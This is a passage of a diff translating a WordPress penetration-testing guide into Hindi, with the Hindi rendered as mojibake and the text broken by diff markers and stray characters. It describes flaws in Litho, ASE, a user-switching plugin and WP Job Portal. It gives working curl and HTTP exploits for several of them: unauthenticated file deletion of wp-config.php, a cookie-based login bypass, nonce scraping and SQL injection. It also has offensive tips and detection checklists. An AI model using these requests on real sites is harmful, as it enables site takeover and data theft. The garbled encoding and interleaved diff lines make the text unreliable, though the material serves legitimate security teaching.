рдХрд┐рд╕реА рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ рдирд┐рдореНрди рд▓рд╛рдЧреВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП: -1. рдПрдХ **capability check** (рдЙрджрд╛. `current_user_can()` рдпрд╛ рдХрдо рд╕реЗ рдХрдо `is_user_logged_in()`), рдФрд░ -2. рдПрдХ **CSRF nonce** рдЬрд┐рд╕реЗ `check_ajax_referer()` / `wp_verify_nonce()` рдХреЗ рд╕рд╛рде validate рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдФрд░ -3. **Strict input sanitisation / validation**ред +1. рдПрдХ **capability check** (рдЬреИрд╕реЗ `current_user_can()` рдпрд╛ рдХрдо рд╕реЗ рдХрдо `is_user_logged_in()`), рдФрд░ +2. рдПрдХ **CSRF nonce** рдЬреЛ `check_ajax_referer()` / `wp_verify_nonce()` рд╕реЗ validate рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдФрд░ +3. **рдХрдареЛрд░ рдЗрдирдкреБрдЯ sanitisation / validation**ред -The Litho multipurpose theme (< 3.1) рдиреЗ рдЗрди рддреАрди рдХрдВрдЯреНрд░реЛрд▓реНрд╕ рдХреЛ *Remove Font Family* рдлреАрдЪрд░ рдореЗрдВ рднреВрд▓ рдЧрдпрд╛ рдерд╛ рдФрд░ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб (рд╕рд░рд▓реАрдХреГрдд) рд╢рд┐рдк рд╣реЛ рдЧрдпрд╛: +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,15 +462,15 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Issues introduced by this snippet: +рдЗрд╕ рд╕реНрдирд┐рдкреЗрдЯ рджреНрд╡рд╛рд░рд╛ рдкреЗрд╢ рдХреА рдЧрдИ рд╕рдорд╕реНрдпрд╛рдПрдБ: -* **Unauthenticated access** тАУ the `wp_ajax_nopriv_` hook рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -* **No nonce / capability check** тАУ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ endpoint рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИред -* **No path sanitisation** тАУ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛тАУрдирд┐рдпрдВрддреНрд░рд┐рдд `fontfamily` рд╕реНрдЯреНрд░рд┐рдВрдЧ рдмрд┐рдирд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдП рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрде рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝ рджреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рд╕рд┐рдХ `../../` traversal рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +* **рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд рдкрд╣реБрдБрдЪ** тАУ `wp_ajax_nopriv_` hook рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +* **Nonce / capability рдЪреЗрдХ рдирд╣реАрдВ** тАУ рдХреЛрдИ рднреА рдЖрдЧрдВрддреБрдХ рдЗрд╕ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЛ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +* **рдкрд╛рде рд╕реИрдиреАрдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдирд╣реАрдВ** тАУ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд `fontfamily` рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдП рдмрд┐рдирд╛ рдлрд╛рдЗрд▓рд╕рд┐рд╕реНрдЯрдо рдкрд╛рде рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рд╕рд┐рдХ `../../` traversal рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред -#### Exploitation +#### рд╢реЛрд╖рдг -рдПрдХ attacker рдПрдХ рд╣реА HTTP POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ **uploads base directory рдХреЗ рдиреАрдЪреЗ** (рдЖрдо рддреМрд░ рдкрд░ `/wp-content/uploads/`) рд╕реЗ рдбрд┐рд▓реАрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХрд▓ HTTP POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ **uploads рдмреЗрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рдиреАрдЪреЗ** (рдЖрдорддреМрд░ рдкрд░ `/wp-content/uploads/`) рд╕реЗ рд╣рдЯрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -452,10 +480,10 @@ Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. -#### рдбрд┐рдЯреЗрдХреНрд╢рди рдЪреЗрдХрд▓рд┐рд╕реНрдЯ +#### Detection checklist -* рдХреЛрдИ рднреА `add_action( 'wp_ajax_nopriv_...')` callback рдЬреЛ filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, рдЖрджрд┐) рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реЛред -* paths рдореЗрдВ unsanitised user input рдХрд╛ concatenation (рджреЗрдЦреЗрдВ: `$_POST`, `$_GET`, `$_REQUEST`)ред +* рдХреЛрдИ рднреА `add_action( 'wp_ajax_nopriv_...')` callback рдЬреЛ filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, рдЖрджрд┐) рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред +* paths рдореЗрдВ unsanitised user input рдХрд╛ concatenation (рджреЗрдЦреЗрдВ `$_POST`, `$_GET`, `$_REQUEST`)ред * `check_ajax_referer()` рдФрд░ `current_user_can()`/`is_user_logged_in()` рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ред --- @@ -479,11 +507,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -рдХреНрдпреЛрдВ рдпрд╣ exploitable рд╣реИ +рдпрд╣ рдХреНрдпреЛрдВ exploitable рд╣реИ -- рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб authorization рдХреЗ рдмрд┐рдирд╛ `$_REQUEST['reset-for']` рдФрд░ рдПрдХ plugin option рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рддрд╛ рд╣реИред -- рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ higher privileges рдкрд╣рд▓реЗ `_asenha_view_admin_as_original_roles` рдореЗрдВ рд╕рд╣реЗрдЬреЗ рдЧрдП рдереЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ downgraded рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рддреЛ рд╡реЗ reset path рдкрд░ рдЬрд╛рдХрд░ рдЙрдиреНрд╣реЗрдВ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- рдХреБрдЫ deployments рдореЗрдВ, рдХреЛрдИ рднреА authenticated рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп username рдХреЗ рд▓рд┐рдП reset рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЕрднреА рднреА `viewing_admin_as_role_are` рдореЗрдВ рдореМрдЬреВрдж рд╣реИ (broken authorization). +- рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рдмрд┐рдирд╛ `$_REQUEST['reset-for']` рдФрд░ рдПрдХ plugin рд╡рд┐рдХрд▓реНрдк рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рддрд╛ рд╣реИред +- рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ `_asenha_view_admin_as_original_roles` рдореЗрдВ higher privileges рд╕рдВрдЧреНрд░рд╣реАрдд рдереЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ downgraded рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рд╡реЗ reset path рдХреЛ рд╣рд┐рдЯ рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ restore рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- рдХреБрдЫ deployments рдореЗрдВ, рдХреЛрдИ рднреА authenticated user `viewing_admin_as_role_are` рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рдХрд┐рд╕реА рдЕрдиреНрдп username рдХреЗ рд▓рд┐рдП reset рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (broken authorization). Exploitation (example) ```bash @@ -497,11 +525,11 @@ On vulnerable builds this removes current roles and re-adds the saved original r Detection checklist -- рдЙрди role-switching рдлреАрдЪрд░реНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ user meta рдореЗрдВ тАЬoriginal rolesтАЭ рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕реЗрд╡ рдХрд░рддреЗ рд╣реИрдВ (рдЙрджрд╛., `_asenha_view_admin_as_original_roles`)ред -- рдРрд╕реЗ reset/restore paths рдкрд╣рдЪрд╛рдиреЗрдВ рдЬреЛ: - - `$_REQUEST` / `$_GET` / `$_POST` рд╕реЗ usernames рдкрдврд╝рддреЗ рд╣реИрдВред - - рдмрд┐рдирд╛ `current_user_can()` рдФрд░ `wp_verify_nonce()` / `check_admin_referer()` рдХреЗ `add_role()` / `remove_role()` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ roles рдмрджрд▓рддреЗ рд╣реИрдВред - - actor рдХреА capabilities рдХреЗ рдмрдЬрд╛рдп plugin option array (рдЙрджрд╛., `viewing_admin_as_role_are`) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ authorize рдХрд░рддреЗ рд╣реИрдВред +- Look for role-switching features that persist тАЬoriginal rolesтАЭ in user meta (e.g., `_asenha_view_admin_as_original_roles`). +- Identify reset/restore paths that: +- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`. +- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. +- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actorтАЩs capabilities. --- @@ -538,13 +566,13 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -рдпрд╣ рдХреНрдпреЛрдВ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИ +рдпрд╣ рд╢реЛрд╖рдгреАрдп рдХреНрдпреЛрдВ рд╣реИ -- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рд╣реИрдВрдбрд▓рд░ рдХреЛ рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ (рдХреЛрдИ `is_user_logged_in()` рдЧрд╛рд░реНрдб рдирд╣реАрдВ)ред -- рдкрд╣рдЪрд╛рди рдХреНрд▓рд╛рдЗрдВрдЯ-рдкрд░рд┐рд╡рд░реНрддрдиреАрдп рдХреБрдХреА (`original_user_id`) рд╕реЗ рд▓реА рдЬрд╛рддреА рд╣реИред -- рд╕реАрдзрд╛ рдХреЙрд▓ `wp_set_auth_cookie($uid)` рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЛ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░ рджреЗрддрд╛ рд╣реИ рдмрд┐рдирд╛ рдХрд┐рд╕реА capability/nonce checks рдХреЗред +- рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ `init` hook рд╣реИрдВрдбрд▓рд░ рдХреЛ рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛рддрд╛ рд╣реИ (рдХреЛрдИ `is_user_logged_in()` рдЧрд╛рд░реНрдб рдирд╣реАрдВ)ред +- рдкрд╣рдЪрд╛рди рдХреНрд▓рд╛рдЗрдВрдЯ-рдкрд░рд┐рд╡рд░реНрддрдиреАрдп cookie (`original_user_id`) рд╕реЗ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред +- `wp_set_auth_cookie($uid)` рдХреЛ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдЙрд╕ рдпреВрдЬрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧ рдЗрди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдХрд┐рд╕реА capability/nonce checks рдХреЗред -рд╢реЛрд╖рдг (рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд) +рд╢реЛрд╖рдг (рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -554,22 +582,22 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### WAF рд╡рд┐рдЪрд╛рд░ тАФ WordPress/plugin CVEs рдХреЗ рд▓рд┐рдП -Generic edge/server WAFs рд╡реНрдпрд╛рдкрдХ рдкреИрдЯрд░реНрди (SQLi, XSS, LFI) рдХреЗ рд▓рд┐рдП рдЯреНрдпреВрди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХрдИ рдЙрдЪреНрдЪ-рдкреНрд░рднрд╛рд╡ рд╡рд╛рд▓реЗ WordPress/plugin рджреЛрд╖ рдЕрдиреБрдкреНрд░рдпреЛрдЧ-рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓реЙрдЬрд┐рдХ/рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрдЧ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдЗрдВрдЬрди WordPress routes рдФрд░ plugin semantics рдХреЛ рд╕рдордЭреЗ рдмрд┐рдирд╛ рд╡реИрдз рдЯреНрд░реИрдлрд╝рд┐рдХ рдЬреИрд╕рд╛ рджрд┐рдЦрддреЗ рд╣реИрдВред +Generic edge/server WAFs рд╡реНрдпрд╛рдкрдХ рдкреИрдЯрд░реНрди (SQLi, XSS, LFI) рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдХрдИ highтАСimpact WordPress/plugin рджреЛрд╖ application-specific logic/auth рдмрдЧ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рддрдм рддрдХ рд╕рд╛рдорд╛рдиреНрдп рдЯреНрд░реИрдлрд┐рдХ рдХреА рддрд░рд╣ рджрд┐рдЦрддреЗ рд╣реИрдВ рдЬрдм рддрдХ engine WordPress routes рдФрд░ plugin semantics рдХреЛ рд╕рдордЭ рдирд╣реАрдВ рд▓реЗрддрд╛ред Offensive notes -- plugin-рд╡рд┐рд╢рд┐рд╖реНрдЯ endpoints рдХреЛ clean payloads рдХреЗ рд╕рд╛рде рд▓рдХреНрд╖рд┐рдд рдХрд░реЗрдВ: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- рдкрд╣рд▓реЗ unauth paths рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads рдЕрдХреНрд╕рд░ рдмрд┐рдирд╛ obfuscation рдХреЗ рд╕рдлрд▓ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред -- рдЖрдо рдЙрдЪреНрдЪ-рдкреНрд░рднрд╛рд╡ рдорд╛рдорд▓реЗ: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. +- clean payloads рдХреЗ рд╕рд╛рде plugin-specific endpoints рдХреЛ рдЯрд╛рд░реНрдЧреЗрдЯ рдХрд░реЗрдВ: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- рдкрд╣рд▓реЗ unauth paths рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads рдЕрдХреНрд╕рд░ рдмрд┐рдирд╛ obfuscation рдХреЗ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВред +- рдЖрдо high-impact рдорд╛рдорд▓реЛрдВ рдореЗрдВ: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Defensive notes -- Generic WAF signatures рдкрд░ plugin CVEs рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВред application-layer, vulnerability-specific virtual patches рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдпрд╛ рдЬрд▓реНрджреА рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред -- рдХреЛрдб рдореЗрдВ negative regex filters рдХреА рддреБрд▓рдирд╛ рдореЗрдВ positive-security checks (capabilities, nonces, strict input validation) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред +- plugin CVEs рдХреА рд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП generic WAF signatures рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВред application-layer, vulnerability-specific virtual patches рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдпрд╛ рдЬрд▓реНрджреА рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред +- code рдореЗрдВ negative regex filters рдХреА рдмрдЬрд╛рдп positive-security checks (capabilities, nonces, strict input validation) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред -## WordPress Protection +## WordPress рд╕реБрд░рдХреНрд╖рд╛ ### рдирд┐рдпрдорд┐рдд рдЕрдкрдбреЗрдЯ @@ -579,7 +607,7 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes рд╣реА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВред** +рд╕рд╛рде рд╣реА, **рдХреЗрд╡рд▓ рднрд░реЛрд╕реЗрдордВрдж WordPress plugins рдФрд░ themes рд╣реА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ**ред ### рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд▓рдЧрдЗрдиреНрд╕ @@ -587,17 +615,17 @@ add_filter( 'auto_update_theme', '__return_true' ); - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -### **рдЕрдиреНрдп рд╕реБрдЭрд╛рд╡** +### **рдЕрдиреНрдп рд╕рд┐рдлрд╛рд░рд┐рд╢реЗрдВ** -- рдбрд┐рдлреЙрд▓реНрдЯ **admin** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╣рдЯрд╛рдПрдБ +- рдбрд┐рдлрд╝реЙрд▓реНрдЯ **admin** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣рдЯрд╛рдПрдБ - **рдордЬрдмреВрдд рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ **2FA** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ -- рд╕рдордп-рд╕рдордп рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рдХреА **рд╕рдореАрдХреНрд╖рд╛** рдХрд░реЗрдВ -- Brute Force рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП **рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ** -- **`wp-admin.php`** рдлрд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ рдФрд░ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдХреБрдЫ рдирд┐рд╢реНрдЪрд┐рдд IP рдкрддреЛрдВ рд╕реЗ рд╣реА рдПрдХреНрд╕реЗрд╕ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВред +- рд╕рдордп-рд╕рдордп рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА **permissions** рдХреА **рд╕рдореАрдХреНрд╖рд╛** рдХрд░реЗрдВ +- **рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ** рддрд╛рдХрд┐ Brute Force attacks рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗ +- Rename **`wp-admin.php`** file рдФрд░ рдХреЗрд╡рд▓ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдХреБрдЫ рдирд┐рд╢реНрдЪрд┐рдд IP addresses рд╕реЗ рд╣реА рдПрдХреНрд╕реЗрд╕ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВред ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) -WP Job Portal recruitment plugin рдиреЗ рдПрдХ **savecategory** рдЯрд╛рд╕реНрдХ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЬреЛ рдЕрдВрддрддрдГ `modules/category/model.php::validateFormData()` рдХреЗ рдЕрдВрджрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ: +The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -609,13 +637,13 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ``` Issues introduced by this snippet: -1. **Unsanitised user input** тАУ `parentid` рд╕реАрдзреЗ HTTP request рд╕реЗ рдЖрддрд╛ рд╣реИред -2. **String concatenation inside the WHERE clause** тАУ рдХреЛрдИ `is_numeric()` / `esc_sql()` / prepared statement рдирд╣реАрдВред -3. **Unauthenticated reachability** тАУ рд╣рд╛рд▓рд╛рдВрдХрд┐ action `admin-post.php` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ execute рд╣реЛрддрд╛ рд╣реИ, рдкрд░ рдореМрдЬреВрджхФпф╕А рдЬрд╛рдБрдЪ рдПрдХ **CSRF nonce** (`wp_verify_nonce()`) рд╣реИ, рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ public рдкреЗрдЬ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ shortcode `[wpjobportal_my_resumes]` рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИред +1. **рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ** тАУ `parentid` рд╕реАрдзреЗ HTTP request рд╕реЗ рдЖрддрд╛ рд╣реИ. +2. **WHERE clause рдХреЗ рдЕрдВрджрд░ string concatenation** тАУ рдХреЛрдИ `is_numeric()` / `esc_sql()` / prepared statement рдирд╣реАрдВ рд╣реИ. +3. **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╣реБрдБрдЪ** тАУ рд╣рд╛рд▓рд╛рдБрдХрд┐ action `admin-post.php` рдХреЗ рдЬрд╝рд░рд┐рдП execute рд╣реЛрддрд╛ рд╣реИ, рдЬрдЧрд╣ рдкрд░ рдореМрдЬреВрдж рдПрдХрдорд╛рддреНрд░ рдЪреЗрдХ **CSRF nonce** (`wp_verify_nonce()` ) рд╣реИ, рдЬрд┐рд╕реЗ рдХреЛрдИ рднреА visitor рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреЗрдЬ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╢реЙрд░реНрдЯрдХреЛрдб `[wpjobportal_my_resumes]` рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИ. -#### Exploitation +#### рд╢реЛрд╖рдг -1. рдПрдХ рддрд╛рдЬрд╝рд╛ nonce рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: +1. рдПрдХ рдирдпрд╛ nonce рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` @@ -627,18 +655,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Response рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХреНрд╡реЗрд░реА рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SQLi рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрддрд╛ рд╣реИред +Response рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП query рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SQLi рд╕рд╛рдмрд┐рдд рд╣реЛрддрд╛ рд╣реИ. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -рдПрдХ рдЕрдиреНрдп рдЯрд╛рд╕реНрдХ, **downloadcustomfile**, рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдХреЛ path traversal рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╕реНрдХ рд╕реЗ **рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓** рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред рдХрдордЬреЛрд░ sink рд╕реНрдерд┐рдд рд╣реИ `modules/customfield/model.php::downloadCustomUploadedFile()`: +рдПрдХ рдЕрдиреНрдп task, **downloadcustomfile**, рд╡рд┐рдЬрд╝рд┐рдЯрд░реНрд╕ рдХреЛ path traversal рдХреЗ рдЬрд░рд┐рдП 